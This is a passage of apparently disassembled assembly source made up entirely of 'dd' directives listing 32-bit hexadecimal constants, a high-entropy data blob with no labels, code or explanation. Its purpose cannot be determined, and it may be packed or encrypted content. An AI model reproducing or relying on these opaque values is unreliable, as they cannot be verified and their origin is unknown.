		dd 7D40465h, 751B473Dh,	0B848A064h, 0E600CE7Dh,	404CCDE1h
		dd 0FECC50h, 0A1ADE2FAh, 0F32DBF30h, 268B38h, 0A65CCA73h
		dd 48C9A24h, 0B15BE450h, 83058080h, 7898E86Fh, 171F3Fh
		dd 0A56F3E0h, 30D709E4h, 0A3401305h, 77003572h,	2154A442h
		dd 0D60893h, 0F05538DDh, 29F3805Fh, 7600B598h, 1421C851h
		dd 7427AEB4h, 4015002Bh, 1AA5E569h, 0B209C15Ch,	86D01EB9h
		dd 1E83EE7h, 610459E9h,	0E83C7ECFh, 317EFAEDh, 5B77BA00h
		dd 67F1A6E1h, 5ACE0020h, 2E302D54h, 1B009051h, 14B9853Eh
		dd 0AB12A6h, 73FF47B7h,	0DDCC7972h, 6F0C9F03h, 0F58B5515h
		dd 0D38CF020h, 222300B0h, 0ED4AC68Fh, 0F900155Ch, 0D7CBAE53h
		dd 2CFE3C56h, 9A926h, 403A8DB1h, 631DC76Ch, 0DCFEC8Ah
		dd 44E46166h, 84209CDEh, 7AE61Ch, 0AEE58C03h, 53547D5Bh
		dd 3600B998h, 0CFDA1562h, 1E0271BFh, 965BEh, 5E50A9F7h
		dd 6B00EDD3h, 0FBA3D9F1h, 0F34DF5h, 60161030h, 0FD509517h
		dd 203AED0Ch, 0E962669h, 44D80775h, 0E72A7400h,	20E76177h
		dd 4D1E8080h, 6FA6D116h, 364EDE00h, 64FF6Bh, 0A01CE55h
		dd 4C164075h, 223A3Bh, 6FBBD750h, 0B3BE18h, 0E574D097h
		dd 0A68E5B3Dh, 9C498101h, 14BC2734h, 1EAC8030h,	4003537Fh
		dd 3692F117h, 0E607BD49h, 6F40A052h, 0C9E302C7h, 34E5C18Ah
		dd 348FAECh, 0CFB43F72h, 1807A4D4h, 0A3034617h,	0F8A8D843h
		dd 94A2C8h, 5D805BDBh, 78FA9141h, 0BABFCC00h, 3537D66Bh
		dd 33A44817h, 0A9405F00h, 6C3E057Bh, 74F84300h,	0ED354903h
		dd 1ECE00BCh, 0AB8AE73Fh, 600C060h, 0F5E8AF4Ah,	98589D6Fh
		dd 38BA7882h, 0A7049796h, 0C16D9F37h, 0F89E0880h, 7EF043F2h
		dd 0EA3A040Eh, 83EDA911h, 0C02ABBBBh, 0EFDA4Ch,	0C3F401E2h
		dd 829439F3h, 0DEFC55E0h, 0C8936500h, 85BF8C2h,	54E9079Ah
		dd 60CBD5E4h, 0F28BD19Eh, 31002CB0h, 8942C264h,	204B1C3h
		dd 0A42EA093h, 0B6E0C63Eh, 0E034CB8h, 17B5B33h,	0AFED9BEFh
		dd 13C081D0h, 1DF81C74h, 0D48F0141h, 60F5F6DAh,	0E5096E2Fh
		dd 878C2A4Dh, 66F0A2FCh, 0F06B9061h, 4A020B03h,	0C200B720h
		dd 0D70316Ch, 0DB0024E6h, 99E37A1Fh, 219FC30h, 0C47E8BB4h
		dd 8C8EA9Bh, 0C100BA86h, 47DE6D66h, 0E834B5DAh,	817F076Ah
		dd 0C0F170EDh, 0EADBC8CBh, 460DA100h, 654833DCh, 3CA20F83h
		dd 1F21044Bh, 0DC23BC14h, 8100F7CFh, 6C723219h,	0E68BDA49h
		dd 0D9AF0029h, 111FE0C4h, 8500FADFh, 8E7A6C80h,	2C0673CFh
		dd 141F75Bh, 524D08CBh,	0F7A3035h, 9879DB00h, 2D3D5306h
		dd 38C200E1h, 0FB1F59FFh, 8E38B80Ch, 16A34C86h,	0E040E7CBh
		dd 9D5AAADDh, 0FF1D3050h, 0E1D1E468h, 0B3F07602h, 609FDE31h
		dd 24C1EB94h, 3D10D573h, 63949100h, 0C61B835Ch,	0D49DFB00h
		dd 0FFED45B9h, 17A502BAh, 41052D49h, 5582BB8Fh,	5CE0E0F8h
		dd 2400D55Eh, 0E23C3143h, 7DCFCDB8h, 0D26700CAh, 3A692DD9h
		dd 450134C6h, 306A05E9h, 2FC030Ah, 0D632008Eh, 0A7C14D8Fh
		dd 55005E38h, 9FE3B02Ah, 52BFA0Eh, 45C4851h, 0C0FD1D4Dh
		dd 0A8B4A596h, 6A005A01h, 0B624CAC7h, 297690h, 50A4628Ch
		dd 8337BA49h, 0F3263600h, 18523235h, 95CB005Dh,	0D9430BF5h
		dd 0FF0083EBh, 0D1966E0h, 0BB2DC5h, 93080A82h, 2502E585h
		dd 11C22A05h, 0AC5DDBD1h, 45A06700h, 1E9BD60h, 0C6F4F11Ch
		dd 0FCDC892Ch, 0BEF23D73h, 0CD00C97Eh, 0A96C4E34h, 21D9CFh
		dd 74A0C199h, 0DDC5B2DCh, 30398400h, 96FDAE9Bh,	0F46502D7h
		dd 0A15E1913h, 7D091D40h, 0CC8C85Ch, 81E35A0Ah,	129F00E8h
		dd 0CFBD84E9h, 1C3F4913h, 7010505Eh, 39C77CF6h,	0F661316Fh
		dd 0F2E859A0h, 1887601Ah, 0DA83B995h, 27E8AB00h, 32752851h
		dd 0F3210F0Ch, 7125FEA1h
		dd 390780A6h, 0B00DB37h, 0DD285C8Ch, 0B0BA1C27h, 94BF006Ch
		dd 0D1B9739Bh, 0AD07DBECh, 0FE27B540h, 3049219Ch, 10703BC6h
		dd 197B6CE9h, 175353Ah,	3FD61C1Dh, 219F68ADh, 39C05927h
		dd 8BDCE0CFh, 0B83DE100h, 8DE676D8h, 28E40006h,	2799C982h
		dd 5E0181B2h, 0E9E56759h, 0BDCCBEFDh, 602F07EAh, 0B076FE7Ch
		dd 0E8747AC8h, 0A670540Fh, 0B5B3C60Ah, 55261EA6h, 0BF81409Fh
		dd 5B9D02A3h, 4FF0980Bh, 857EE0A4h, 536D0015h, 0BCBE44ABh
		dd 0DC77393Dh, 0C23B5A00h, 18B5850Eh, 2C20F2E9h, 1F7CE3C1h
		dd 125380FBh, 0EA8DCCD6h, 7486A612h, 31E0B487h,	59632Dh
		dd 352A762Eh, 0C77A995Eh, 4F9372Ch, 800D3B8Fh, 0D054FF11h
		dd 0BABC002Eh, 95BED471h, 780B76E4h, 102982C0h,	0B4941Ch
		dd 5147F9ADh, 0F54BCD1Fh, 0D900C3EAh, 0A3698E50h, 0E82130h
		dd 7565A80Eh, 37D0153Dh, 0A4B1C860h, 0A1FD5Dh, 8E920B7Dh
		dd 0D325A3ECh, 9500F8FCh, 8110CBFAh, 0AA6A82h, 433A05CDh
		dd 0C09F5878h, 11862700h, 38736531h, 20263F3Bh,	0E90C880h
		dd 0A282F8C9h, 0E0581AEEh, 3C3E0756h, 0AD704073h, 24189CAh
		dd 0AFA5D6CFh, 0E3E2BC4Fh, 72467260h, 9C838100h, 34D125B3h
		dd 567D07F0h, 0DE918821h, 7A4FF00h, 0ED1C011Ah,	0CF00BB37h
		dd 85C24BCEh, 7BD9FA8Ch, 4C721F59h, 167CC45h, 0C3007520h
		dd 7BD7A85h, 3DBE4EAh, 0D33B8B66h, 3D7A74Fh, 0C18BCEB7h
		dd 2C905682h, 8F088571h, 6745B106h, 0CED29028h,	8500B3B0h
		dd 0A1387EDFh, 776B79Bh, 37E74179h, 0C01B2EF1h,	9CB8A4B3h
		dd 20CB339h, 998C07A5h,	18467E18h, 88585FB0h, 0D17C4B4Fh
		dd 956B5Ch, 4EFF1BFAh, 78E95D1Dh, 3177867h, 419C9743h
		dd 538036B6h, 6600AA19h, 8B51DDA9h, 60F96A17h, 0B12E605Eh
		dd 96015343h, 4DA62221h, 0EBD31E90h, 0C820006Bh, 78CA3F1Ch
		dd 0E2E2FDB3h, 0A2D3FC03h, 36E8750h, 1637FEA8h,	280BDF3h
		dd 66415B49h, 0F040E0h,	0E7AD86Ah, 0C5CB67C2h, 0C6005370h
		dd 7DE9A7B4h, 0EB2A9Dh,	0E2482F09h, 466396D7h, 0BEC1A23Ah
		dd 79B383Bh, 6DC280BBh,	35DFC001h, 0F2D7EFCh, 4EEE5B1Ch
		dd 6832B80h, 0CF26267Fh, 41004ABDh, 95C17DBBh, 0B554007Eh
		dd 6B61965Dh, 0B301DCC2h, 6D4647EAh, 0A0D7F2A6h, 3CB19Eh
		dd 8A30FDBDh, 498CCDC9h, 666A0900h, 77DC2880h, 719EEEBFh
		dd 55D93E7Dh, 2BE16281h, 806B56CAh, 71106E18h, 0FB797F0h
		dd 152E55F5h, 8CA01E0Fh, 4E0562D2h, 54C35800h, 429EB1CBh
		dd 1F5F008Fh, 0F87DD980h, 0C8007BF9h, 3575B45Eh, 6AEC6FF1h
		dd 7DFB068h, 20DFE985h,	0B03B4841h, 555C005h, 9A812D18h
		dd 7C604EB6h, 40A50CB3h, 0FF381406h, 38D16B00h,	5F1CC056h
		dd 7DA70041h, 0EB08804Fh, 60588EBAh, 1DAC0357h,	807795A4h
		dd 91EFD15h, 4E2E0332h,	0F8C03A80h, 6F00512Ah, 29F0272Ch
		dd 1FFB6C3Fh, 0C17A4961h, 0DBAD0AFDh, 70BCF97Bh, 9678801Ch
		dd 0D09C4E54h, 0AE8C0084h, 0C271605h, 0BE005C68h, 0FDF9FC75h
		dd 12FC64Dh, 355D265Fh,	0F081CC73h, 4100F5EAh, 1845E484h
		dd 746F3CBh, 0C49DE9EBh, 1468305Bh, 2E009CB2h, 902D34D4h
		dd 184C29Bh, 1E07627h, 0F8C1F55Bh, 19006DE4h, 0EA233DB9h
		dd 1D29D2CAh, 831E952Eh, 2B3E15F6h, 0DB24BB8h, 6D00ECEAh
		dd 0C745B7EAh, 0B025FB13h, 0BA53001Bh, 5D08723Eh, 4C00A640h
		dd 0B25AA4D8h, 463179h,	3D1F2639h, 0BCDAF4C5h, 155C5B00h
		dd 5181A1F1h, 32EB07FBh, 30419270h, 0C6B12927h,	0E760B300h
		dd 14F904CAh, 5DB40707h, 315B38FBh, 48261567h, 1F770994h
		dd 9C006DE8h, 0A1160253h, 3FE8C455h, 0C800E97h,	12895E15h
		dd 0EC01813Dh, 0D32E3C04h, 1F2069BBh, 32DD2466h, 0B9080099h
		dd 0B8E10D8Eh, 5CFD9000h, 0DF141905h, 0E140F5D3h, 3EF45B72h
		dd 9000BBBDh, 9AEB8252h, 0C3145512h, 0B22007D0h, 0E5A53842h
		dd 78670A2Dh, 0AFBB1FC6h, 508498CAh, 26072C35h,	6F0A23CDh
		dd 51495CF0h, 7197C2Ah,	0BF457DB3h, 806B90BCh, 5E000185h
		dd 31AFFC0Dh, 72AACBh, 99641C8Bh, 8AA42454h, 5A600201h
		dd 56D58ED0h, 410D089Dh, 0FE578F83h, 39E0D02Ah,	0CD01E3B0h
		dd 86979062h, 28800175h, 6A67F733h, 9180F9Bh, 126054C4h
		dd 792267E7h, 0DB67C1CEh, 38A8402Fh, 0C3011CCAh, 0E2490F6h
		dd 0B882EF29h, 0BBD2F9C4h, 9AEA830Fh, 0CB0BA074h, 0AAE20A9Ch
		dd 0C080B8A5h, 1AAEBD09h, 41CE6223h, 0C07C0C65h, 640A1F8Eh
		dd 0ACBD8FBAh, 0D804F202h, 0F7690073h, 9904EBA4h, 28E7A674h
		dd 23B336C0h, 0D024004Eh, 1291649Bh, 0DCE0B9FCh, 0DDE0FE60h
		dd 0ED7DE3h, 43AF1A05h,	92B8EF2h, 5ACFE012h, 2CF02400h
		dd 52389ED4h, 50C42066h, 0C48360DBh, 14F8E2h, 0AB286D76h
		dd 8C394273h, 2E921100h, 3DC28ECFh, 805B00AAh, 0BEAC2D9Ah
		dd 0A5F8C4E5h, 0C8D14628h, 0DEF3C900h, 2A8F7DDBh, 4C9800E7h
		dd 1319F110h, 0E3800C62h, 97F8A85Dh, 1B1E005Fh,	21F1D111h
		dd 44032593h, 0CB69390Eh, 3A31E602h, 8E1FF384h,	0BC38018h
		dd 26074776h, 99B4D100h, 0F9A63E45h, 0DBD4005Ah, 0DE6A3173h
		dd 0EE0C1FF8h, 49C6D227h, 85E8008Eh, 0C0E0B881h, 9F1F315Dh
		dd 0C18FA3BBh, 0C74883DBh, 0E5EC0C2h, 0D2D1CB32h, 0ECC17E80h
		dd 0EFE2F281h, 0A484A60Ch, 2E150BDh, 61DCF870h,	3E0C72Bh
		dd 1B03EADEh, 0A080746Fh, 0F66C8CCh, 0A2AB00AAh, 0C15128C5h
		dd 0BD17B903h, 22187812h, 79CD569h, 474E8ADFh, 0ABA1907Bh
		dd 0A818268Fh, 75C08492h, 579128F6h, 0D6E019Ch,	0CA812D41h
		dd 0EC23E40Bh, 6229A161h, 9531B82Fh, 49E03C0h, 0D0203C5Ah
		dd 76DCC0F9h, 8907C26h,	91B3CE00h, 257A03FEh, 6EB80ED2h
		dd 4D408219h, 0ABCEF7F6h, 0E26F9930h, 752855h, 23E16874h
		dd 9D36E97Fh, 22EC7C00h, 998D9721h, 728C004Ah, 3BD9EB0Fh
		dd 0F1000798h, 3655FDFBh, 1E118B6Eh, 400C5257h,	6930D5E1h
		dd 2200EF42h, 0DF1CFA8Eh, 7EEA1BE5h, 844503B4h,	63D47CAh
		dd 50F02BC0h, 8EFB2A00h, 0DD5B0C7Eh, 0E6360252h, 9B51951Bh
		dd 83BE85E0h, 339F7D00h, 0E50F1D64h, 695200BAh,	0D1D047FAh
		dd 68000B93h, 8DEE019Dh, 0E083EFh, 0C8628AE8h, 4B30E973h
		dd 27465500h, 2F57EA16h, 0EE3503FBh, 0D8DECD9h,	293380E5h
		dd 0F100F223h, 0A8ABA203h, 0C02637EEh, 343E2250h, 32741FE4h
		dd 4A86A70Fh, 0FF2D804Fh, 0EDED1A18h, 0E6E38440h, 713500D2h
		dd 336ACEA5h, 13035D61h, 589E187Fh, 91B7A077h, 6EB3001Dh
		dd 0B68E0888h, 20F9CE03h, 190E8F9Ah, 0A08DC1B8h, 76EF9655h
		dd 0DB4F015Eh, 0ABE510A9h, 9F60C2CCh, 68006902h, 6FCF7F49h
		dd 0E9AD04Ch, 8192ABDFh, 0C3CC2280h, 880064C9h,	74F8D334h
		dd 1B8F26h, 96D440E9h, 0B26AD13Dh, 8B9D2C00h, 0E87A893h
		dd 0A2FF58B1h, 15805400h, 1571B76h, 4CF46906h, 367011h
		dd 8D7C9D2h, 0D5C3604Dh, 370A0603h, 0E0B7FF78h,	7EDFD0h
		dd 1A3FDA13h, 2F26FB61h, 0A74B0D00h, 2E439EB3h,	0B816009Dh
		dd 5BDD1AACh, 6C1ED57Ah, 280D10Eh, 0E53DC0FCh, 102703DCh
		dd 7832E885h, 9AFFCDB0h, 38004BF4h, 6C401CCEh, 6AE7Ah
		dd 90BEAF1Fh, 71623FECh, 42F26E07h, 46120A75h, 502FC012h
		dd 0BC950311h, 0B8ADEC61h, 83879690h, 0CED83F00h, 63ED574h
		dd 7BF5E6DBh, 45E80014h, 57F32E13h, 0DD000BD7h,	0A56D1D22h
		dd 0B89403BAh, 0BD9A3816h
		dd 0CE454480h, 773B7C98h, 0DC1E6800h, 12F0EE71h, 0FCECE501h
		dd 0E79200A0h, 88E0894Bh, 0D4C08F6Ah, 2B903E11h, 0EBD4006Eh
		dd 2F380944h, 7C007561h, 92673BAEh, 0E82A4Bh, 0CEEB9D57h
		dd 0B14610E1h, 1B59A900h, 0B03992Bh, 28A0072Eh,	0FE7AFFDBh
		dd 87C17E2Fh, 0F8A1599Ch, 0B3001C48h, 6F44C1CEh, 18B55Bh
		dd 0E2EB5690h, 23DAFF38h, 3F000DEAh, 9159426Bh,	3BD5A0h
		dd 1C68E9B9h, 0B53E0141h, 8BD2101h, 13F0CA55h, 0E465481h
		dd 0F4FB7F04h, 0D01FD43h, 36AF6647h, 0B6D99E7Ah, 0BFE3D0h
		dd 32015A05h, 19935DBCh, 2DF82900h, 0AF39F328h,	6AC03EC6h
		dd 0E9641Fh, 889E3CBEh,	21075325h, 6DADD9AEh, 2EA8DDB0h
		dd 7A2A001Fh, 0FB429DC9h, 9200573Eh, 1E415134h,	68E30h
		dd 48F67FDAh, 45A7B24Ah, 74D62100h, 0D2AEFFBFh,	0EE8B00C5h
		dd 0E38588EBh, 7A01F924h, 0EACA578Eh, 3EE4E67Eh, 9B48003Dh
		dd 0DCDBAF22h, 0F600D0E4h, 16080ABFh, 52C181h, 0A8A60F5Eh
		dd 3ADF603Ch, 0D9B09807h, 8DA0BE14h, 1E1F66h, 7D3F094Ch
		dd 69ADE257h, 3C2148h, 0D835B1FCh, 3B52BEFh, 5B9EFFA6h
		dd 42B0F7A4h, 5E00F8F2h, 59C9E2C5h, 909BBEh, 0CD04EB8Eh
		dd 6F6DD4B1h, 0F6056400h, 0BDBC471Bh, 7673F44Ch, 0ECE03E5Eh
		dd 67B13180h, 29DCC9CEh, 30DB6558h, 0D8AD509Dh,	87F100A5h
		dd 0EA715653h, 74004450h, 8D998A57h, 0AD4BECEh,	0CF7E4210h
		dd 3DC500C8h, 0F3AFA8D9h, 0A92D3700h, 0A55D4A7Ch, 0FDF7037Fh
		dd 0CB2C67C2h, 39D10798h, 0DE128600h, 0F301C372h, 63300FBh
		dd 68505FEDh, 0F700D460h, 69F4A28Fh, 0F81D58DDh, 74DF0E57h
		dd 0F641D80Ah, 0C8D40E47h, 0FE07B824h, 508D4CE9h, 0DAFBAF50h
		dd 5AF306CAh, 10ACFF74h, 532E0C18h, 1807A8h, 0CF342B0Dh
		dd 0B19FA788h, 0C5FBBF00h, 844D22BCh, 0E13D00AAh, 6D7197AEh
		dd 6E005F3Fh, 0DD2BC58Ch, 77C087Eh, 0E1E3FC19h,	60DA717Fh
		dd 0EB50FC27h, 69517800h, 0F9A1AD07h, 5CB8C4h, 0C103A232h
		dd 5FAF3B28h, 1C457048h, 0EB002B1Dh, 0C89BB210h, 7E81E4D5h
		dd 3999A0BCh, 3D52035Fh, 837165CEh, 0EC441800h,	7CAEDC57h
		dd 35CB0C68h, 7FA87B0Ch, 80081A38h, 2B63FCF7h, 1F91B673h
		dd 0C4AF56h, 0E3BDB08Fh, 863D0B4Fh, 121FC880h, 1CAF6F35h
		dd 0DDAEEFh, 0B26006A2h, 98A07273h, 4B009B9Eh, 12ED742Eh
		dd 3DF576E7h, 0E901453Dh, 2F0CCE01h, 80D645FEh,	8F09AFA7h
		dd 3A0E3800h, 0AAF676BDh, 0DE600CCh, 0FC5A1D2Ch, 8C0F16C2h
		dd 0BC67820Fh, 692D7EC0h, 2881E59h, 2C63ECB5h, 4F5896F9h
		dd 249F1B12h, 6630ED00h, 61F51Dh, 0A14251DFh, 5E4A6348h
		dd 848B3Ah, 0D57DE1C5h,	20408Ch, 211E6655h, 0A017E5AFh
		dd 42A99500h, 91DADDE6h, 980700B6h, 99835533h, 17FABB22h
		dd 25A67107h, 1EB0809Bh, 74F36595h, 0B8E307F6h,	272CECA5h
		dd 314690EDh, 9238AC7Bh, 0CC8E004Ch, 0E38294D6h, 0E809005Dh
		dd 712A7940h, 0B000B5D5h, 0BE1978F7h, 0CD55FBh,	2162D67Bh
		dd 9ED7F0B2h, 0BA34900h, 0ABEA7611h, 0A1641294h, 7B1CFA54h
		dd 4D8A2A43h, 6B99085h,	7ABC1E6Bh, 58B20066h, 353D90F8h
		dd 0E3FF4100h, 0F510C160h, 8A96008Eh, 8D9BE561h, 0DC00E6A7h
		dd 0BEE051BCh, 614767CEh, 0B0D0C409h, 0F027F5BAh, 4000EEDFh
		dd 218C412Ah, 181E26h, 1FDCCE4h, 0E0254AF6h, 7C9A0805h
		dd 0D8802F66h, 12C2EFh,	89213E5Ah, 92D2609Dh, 0CD1D40B8h
		dd 42800546h, 0BEDDFE93h, 8AF1000Eh, 1F45D03Fh,	78E48473h
		dd 3B363100h, 0EC35EEE8h, 0ED300912h, 2C073874h, 7B20B0B8h
		dd 0CA00FF7Ah, 894F97DAh, 36F42BCh, 5AE2D676h, 0CCF06126h
		dd 0A3053A94h, 0EE5BBB49h, 0F0AEFC90h, 28C80037h, 0D33AB752h
		dd 78907F14h, 74B76650h, 0F8C958h, 9E540ABh, 3CFC6DDh
		dd 146C28D1h, 3000E4B9h, 17B35C92h, 9C5DB98h, 9A1E6246h
		dd 1F771080h, 0B2DC9028h, 0A5DB538Eh, 0A8C035D3h, 1292436Ah
		dd 0BB86C4h, 0F0265998h, 0A092381Dh, 6FE55D00h,	0DC2E0AC4h
		dd 0F8220142h, 0E088B8FDh, 0CCCC40A7h, 0AD070BA8h, 0D8BAC87Fh
		dd 0AA12EAB0h, 794C0B6Eh, 5A0113C7h, 0ECFF23ECh, 8C123274h
		dd 1009348h, 6FB9D165h,	0D67500E7h, 97B04340h, 81009C99h
		dd 0DD5E8E39h, 0F1689D7h, 7798567Fh, 0B8AC0376h, 1AB01B8Bh
		dd 4A00D170h, 0C75FE8C4h, 7755EE33h, 0F3C31D32h, 0ABA38BF7h
		dd 18A5C80h, 0D800F221h, 6AD081F0h, 4D5FC67h, 29A12ADAh
		dd 4AC4B8h, 0CD751288h,	8006460Eh, 84404342h, 0BA2A1618h
		dd 33EC402Bh, 50A116F6h, 76208901h, 0CB7D4871h,	31411040h
		dd 0B8050044h, 0CD82186Ah, 0B10255E9h, 1E1645CAh, 0DC3480D1h
		dd 2CF664h, 0C983A1BCh,	0A01A4C45h, 9D128B03h, 0D83E5ECBh
		dd 263A2Bh, 757C422h, 2F1E428Ch, 300E9DE8h, 65E6C567h
		dd 0FEA22Ah, 8791684h, 0F0029C9Bh, 800D6DD5h, 919CA152h
		dd 98BC17BEh, 0F1BCFC01h, 6054EF6Eh, 8430253Bh,	0D2592951h
		dd 0E56900FAh, 0F80B0CD1h, 0A73D15EBh, 64C31D66h, 0B87B9F8Ch
		dd 0FA930030h, 9C1B1977h, 832A34E3h, 670084E4h,	0BEE18B44h
		dd 31D66Ch, 0B0F0E094h,	560C87A2h, 4230F160h, 3F935EFFh
		dd 0CC064CBCh, 895F9E2Bh, 3B1AAC78h, 0C3117D07h, 518EC84Fh
		dd 2AD02E6Fh, 2B9D06D1h, 0C3072175h, 7672B36Eh,	6F345730h
		dd 0F1E16113h, 0DC1D5B54h, 0FB7AA0F9h, 0DD9B7000h, 0F6076351h
		dd 0BF7C0E74h, 0F89483C7h, 666C7300h, 0D3295101h, 26C25219h
		dd 9C244108h, 66590053h, 0EFBEED68h, 1860FECDh,	0DC8E8948h
		dd 64280391h, 43ADBD9Bh, 82301800h, 7E54E1AEh, 40E9F89Ah
		dd 45004BD3h, 726C477Fh, 0CE43A4h, 36993D0Ah, 1C8AFA83h
		dd 96008676h, 2D9C5F7h,	4CB19Bh, 62F9DD13h, 0A0A90D2Ah
		dd 0E684AA03h, 988BAE40h, 55A304h, 0DE7EB987h, 0A625506Eh
		dd 84D01D00h, 0FFD73D9Eh, 4540C0A4h, 3E953033h,	0ADB4F81Bh
		dd 0DF200348h, 0B162E392h, 1D965001h, 282D1687h, 8F1000D3h
		dd 49BF18DFh, 710E83A9h, 80093E32h, 95314573h, 0A7612C79h
		dd 3F31E28h, 2F8A5015h,	2EA567E0h, 0A04BAFE8h, 0D5EAFC80h
		dd 3CAA0053h, 9271B669h, 0A4000CB2h, 6D76188h, 0EE9A24h
		dd 0AA4FE276h, 43FC5F56h, 0FF0DDB0Ch, 0B6A168h,	0C22C7009h
		dd 0A3206EAh, 181F7A3Ah, 0E420D8A4h, 59FE01ECh,	0E83482BCh
		dd 993980FAh, 0B252B9EAh, 956C072Fh, 4D6462h, 0DD2A7AEDh
		dd 0FFD0BD01h, 19EC7CFAh, 3C8E0h, 0CEE4313Bh, 0AE8D42BEh
		dd 2804EB00h, 1264BC71h, 0FCB41DE5h, 9BAC0011h,	0BEB07088h
		dd 2500C9B0h, 0ECBCA465h, 35CC0BFh, 53892CAFh, 6BB877A5h
		dd 61165728h, 0FE5A83h,	92E08FE0h, 7D7D6C27h, 2C1E3900h
		dd 0EF536E04h, 49DF00CAh, 0B6E09EECh, 0CB00C9A4h, 90523136h
		dd 0D21C98h, 0F76E613Fh, 0FFB9CC5Eh, 6CA0AB00h,	40CB3978h
		dd 50DE0007h, 0FB314AEAh, 2B3BA5FAh, 2CDD809Bh,	581CBFC3h
		dd 278C07ABh, 0E1FE7C5Dh, 0D06A193Eh, 79003FA0h, 766B4206h
		dd 0DFC941h, 0D219CB2h,	0F65E2E0h, 0F5123101h, 3EF09B72h
		dd 49A1995h, 15D507FEh,	0C9E05612h, 3B3DB85Ah, 7B0E0AD9h
		dd 9BE6FEA9h, 487C314Bh, 0E01C1600h, 0E1C494C1h, 0F89BF8E4h
		dd 36AFA28Dh, 4C065234h, 0ECC3A7E2h, 0AC021007h, 0F5703651h
		dd 14BD2A8h, 0DD41F670h, 53E45505h, 2AFAB00Ch, 0A4A93A23h
		dd 4FCEC45h, 21321A18h
		dd 0C41FD24h, 68083107h, 94CD1186h, 0CC3C14F6h,	3E571430h
		dd 0BD402118h, 210C3D28h, 0FA15F1F4h, 18502A24h, 15451621h
		dd 432A54B8h, 43CC430Ch, 465C8424h, 42C6E021h, 6CA27954h
		dd 0C82D394h, 58103066h, 155384CAh, 3CC42A90h, 80CE654h
		dd 967F6CA8h, 19DC6784h, 0C16BC0E3h, 9581A90Bh,	2F1879B0h
		dd 31CEEDE0h, 0A918B8D9h, 896C0E76h, 4032D5A0h,	1C2D0200h
		dd 0FE005ABDh, 0C299263h, 3F442Bh, 53DB9488h, 62C3DCDAh
		dd 0EF1BE300h, 457AB05Ah, 24CC4928h, 0BBB74303h, 0A03C978Ch
		dd 0CB322C5h, 92900814h, 311D4B18h, 0D5008A58h,	0A1B116E8h
		dd 0E09A0A85h, 80A4F65Bh, 0B03D8754h, 0CD612812h, 3A39D2A0h
		dd 338802D3h, 4C07565Bh, 186809C0h, 9B3EDF0Ch, 689988CEh
		dd 561C3EDAh, 0E7D2CF07h, 33B3F581h, 95B11DBAh,	0A0E6409Eh
		dd 0E4A99854h, 940B48h,	0C1470F0Ah, 6039D406h, 8F69595Dh
		dd 0D560172Bh, 682AAE80h, 0A1470112h, 5AAAEB1Fh, 2D987E2h
		dd 8C910EEAh, 0A8ECDFB5h, 9AB05D3h, 40716E43h, 52860414h
		dd 0FF1824C1h, 3C695E38h, 3FBF0068h, 0EA0B1E8Fh, 480A0151h
		dd 0C020705Ah, 0B6C2003Ch, 0FF9AE1A9h, 84653FCCh, 61A26000h
		dd 0AEACCDB7h, 0A3018D03h, 10B38BD1h, 6CFDBB9h,	1E3D9BF9h
		dd 0C9CC00E8h, 0B2563F83h, 0C10F34ADh, 61B5277Dh, 0EA20E00Ch
		dd 0F97B7A87h, 24E1C322h, 383C8006h, 37D0AAFDh,	6280CB7Ch
		dd 16A1C7h, 5C235028h, 624370EFh, 0BBA6CC00h, 9A53194h
		dd 2F1E268h, 0E792D082h, 546854ABh, 10C8860Ah, 18F2966Ch
		dd 550EC02Bh, 0D2A14560h, 0E8094103h, 2863181Ah, 125019C1h
		dd 0CCB7D3Ah, 0F9DF3F01h, 0A0625528h, 0D31991h,	48028430h
		dd 18172742h, 31CA973Ch, 18822189h, 9937684h, 51C2BD60h
		dd 804FA8A7h, 8EC9E8AFh, 0EFF3B20Ch, 24BD18E1h,	2C1003B6h
		dd 455032BFh, 5777C46h,	94A2B024h, 0EA12D406h, 0B40C0908h
		dd 0A02154DBh, 247CAA14h, 0E7240A20h, 3F004849h, 0CEF6B09Bh
		dd 0CBF82A2Ah, 0AC263084h, 508A6840h, 145A3600h, 0AA10ABF2h
		dd 2C5004Dh, 1EFEB639h,	711F5DEBh, 0D1C7CDCCh, 0DB804BC8h
		dd 0F2417CD9h, 514C0A06h, 80BC39AAh, 0E9BA99CCh, 2700BF6Bh
		dd 280B0298h, 0AD25F11h, 1DCA9ABh, 796F8CD8h, 980948A0h
		dd 90FD3E43h, 8091AD08h, 0B0097AAAh, 20475329h,	0F5C2B274h
		dd 0D590A1C0h, 0D0408FF5h, 18350330h, 0E923D72Bh, 0F900C978h
		dd 4FA7D1AAh, 0AE3D3346h, 7CF70830h, 0E6E2183Fh, 46C883D4h
		dd 0E0610258h, 0A5835DC5h, 9FB14840h, 0CC98C100h, 0C4CE2C53h
		dd 6FE980F3h, 9145C48h,	809BB476h, 347F979Ch, 0C24000A1h
		dd 0CDE4C7A5h, 5E6037BAh, 7AE07E71h, 3D71A9h, 0D5D1B241h
		dd 0D8ABF164h, 9DE2D4A0h, 28F8EE28h, 4D2A561Bh,	5211904Eh
		dd 491C13E4h, 141030BFh, 61009BC1h, 0D6645607h,	2EB18h
		dd 0E6FFF877h, 7C83F7C6h, 46B84E00h, 28E8AB49h,	888009AAh
		dd 8C96E0DEh, 8381311h,	12CBB440h, 28E33D0Dh, 4D04AB50h
		dd 38BC89D3h, 66CD8h, 0F881A2F9h, 0F7C5454Bh, 0E0A1F300h
		dd 0BDA5D70Eh, 56C312E1h, 94C44E02h, 0B8497EE3h, 8B77ADE8h
		dd 13B6A002h, 0CEE9F4C6h, 1DE50048h, 6B5D63FDh,	1F2414C5h
		dd 0F78384D2h, 1B456ED6h, 394725D1h, 0C71CF4C8h, 353F24B2h
		dd 0E82D363Fh, 3A1B0CB8h, 0C51028CDh, 87405E4Ch, 8053D34Ah
		dd 481DDA01h, 200EC108h, 820472D8h, 8A966E56h, 76AB3080h
		dd 2B970345h, 3E08E2EAh, 0D0E63108h, 8EB10073h,	520BB226h
		dd 0CC1B8FECh, 52290A90h, 17D3478h, 4A848E8Dh, 727130FAh
		dd 0D3B500E8h, 0ED9943FFh, 1836FAA0h, 4094B8D8h, 831D9A0Ah
		dd 1131D6D7h, 99DCB0D2h, 0A6218C21h, 0C127803Fh, 96ABCEF0h
		dd 0B4AF9D0Ch, 123C0889h, 4EEE7082h, 0DB020DB8h, 0EA40F0C2h
		dd 21003526h, 0CC8D46F8h, 7ADF3CEh, 647E4770h, 5323D0B4h
		dd 2894E172h, 91B8FE0h,	40834A02h, 0FD2AFF40h, 64BA80B6h
		dd 93FE1810h, 7B8C7C38h, 1941480Dh, 11D6F09h, 16CC00FFh
